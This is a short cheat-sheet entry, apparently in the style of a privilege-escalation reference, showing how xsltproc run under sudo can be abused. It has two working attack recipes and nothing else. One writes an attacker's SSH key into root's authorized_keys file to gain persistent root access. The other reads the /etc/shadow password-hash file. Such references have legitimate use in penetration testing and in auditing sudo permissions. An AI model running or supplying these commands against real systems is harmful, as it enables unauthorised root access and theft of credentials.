File write

cat > /tmp/write.xsl << 'XSL'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
<xsl:template match="/">
  <exsl:document href="/root/.ssh/authorized_keys" method="text">ssh-rsa AAAA... attacker</exsl:document>
</xsl:template>
</xsl:stylesheet>
XSL
echo '<x/>' | sudo xsltproc /tmp/write.xsl -

File read

cat > /tmp/read.xsl << 'XSL'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><xsl:copy-of select="document('/etc/shadow')"/></xsl:template>
</xsl:stylesheet>
XSL
echo '<x/>' | sudo xsltproc /tmp/read.xsl - 2>&1